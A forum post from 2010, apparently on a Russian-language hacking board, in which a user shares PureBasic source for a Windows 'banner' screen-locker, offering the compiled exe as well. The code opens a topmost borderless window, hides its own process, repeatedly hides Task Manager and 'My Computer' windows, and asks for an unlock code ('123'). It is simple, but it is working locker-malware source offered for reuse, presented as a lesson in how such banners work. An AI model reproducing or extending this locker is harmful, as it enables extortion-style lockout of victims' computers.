Типо баннер [PureBasic 4.40] =)

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by cheater_man, 8 Apr 2010.

  1. cheater_man

    cheater_man Member

    Joined:
    13 Nov 2009
    Messages:
    651
    Likes Received:
    44
    Reputations:
    7
    От делать нефиг накатал простенький баннер. При создании не стал лезть в реестр и наводить так порядок. Блочит диспетчер задач по его заголовку. ....
    Особенности PureBasic -Шустрый BASIC компилятор для новичков и профессионалов. Из достоинств следует отметить быстроту компилирования, небольшой размер выходных файлов, дружбу с WinAPI, хороший встроенный отладчик и т.д.
    Не просит некаких доп. библиотек, если вы их конечно не использовали
    .
    Делал для тех кто не понимает как устроен баннер.
    source:
    Code:
    Enumeration 
      #window 
      #i[COLOR=Red][B][SIZE=3]mage
    EndEnumeration
    
    UseJPEGImageDecoder()
    
    Procedure OpenImage(*Value)
      If LoadImage(#image, "image1250027966846.jpg") 
          hBrush = CreatePatternBrush_(ImageID(#image)) 
      SetClassLongPtr_(WindowID(#window), #GCL_HBRBACKGROUND, hBrush) 
      InvalidateRect_(WindowID(#window), 0, 1)
      EndIf 
      
      HideWindow(#window, 0) 
        
      Repeat 
        Select WaitWindowEvent() 
          Case #PB_Event_CloseWindow 
            Break 
        EndSelect 
      ForEver 
    EndProcedure
    
    Procedure wait_disp(*Interval)
    While(1)
    ShowWindow_(FindWindow_(NULL, "Диспетчер задач Windows"),#SW_HIDE)
    ShowWindow_(FindWindow_(NULL, "Мой компьютер"),#SW_HIDE)
    Delay(*Interval);
    Wend
    EndProcedure
    
    Procedure run(*Interval)
    For a=1 To 100
      SetGadgetState(0,a)
      Delay(*Interval)
      Next
      End
    EndProcedure
    
      OpenLibrary(1,"kernel32.dll") 
      CallFunction(1,"RegisterServiceProcess", GetCurrentProcessId_(), 1 ) 
      OpenWindow(#window, #PB_Any, #PB_Any, 800, 640, "PB Window", #PB_Window_ScreenCentered | #PB_Window_BorderLess | #WS_POPUP | #PB_Window_Invisible) 
      SetWindowLong_(WindowID(#window), #GWL_EXSTYLE, #WS_EX_TOOLWINDOW) 
      SetWindowPos_(WindowID(#window),#HWND_TOPMOST,0,0,0,0,#SWP_NOSIZE|#SWP_NOMOVE)
      ;SetWindowColor(#window,RGB(0,100,255))
      HideWindow(#window, 0) 
      Rng=CreateRoundRectRgn_(0,0,800,600,100,100) 
      SetWindowRgn_(WindowID(0),Rng,#True) 
      ;------------------------------------------------------------
       StringGadget(1, 280, 400, 200,20,"")
       ButtonGadget(2, 320, 450, 100, 20, "Разблокировать") 
        ProgressBarGadget(0,20,550,760,15,0,100)
        thr1= CreateThread(@run(),200)
        thr2 = CreateThread(@wait_disp(),20)
        thr3= CreateThread(@OpenImage(),0)
      ;------------------------------------------------------------
    
        Repeat
        EventID=WaitWindowEvent() 
        If GetAsyncKeyState_(#VK_LMENU) 
          If GetAsyncKeyState_(#VK_1)
            Break
          EndIf 
        EndIf
        If  EventID=#PB_Event_Gadget 
          If EventGadget()=2
            If GetGadgetText(1) = "123" 
            MessageRequester("Служба разблокировки", "Просим поддтвердить Ваше желание разброкировать систему.", #MB_OK|#MB_ICONINFORMATION) 
            End
            Else
                MessageRequester("Служба разблокировки", "Проверьте код", #MB_OK|#MB_ICONINFORMATION) 
            
         EndIf
          EndIf 
         EndIf
        Delay(10) 
        Until EventID=#PB_Event_CloseWindow
    
    exe + source
     
    #1 cheater_man, 8 Apr 2010
    Last edited: 8 Apr 2010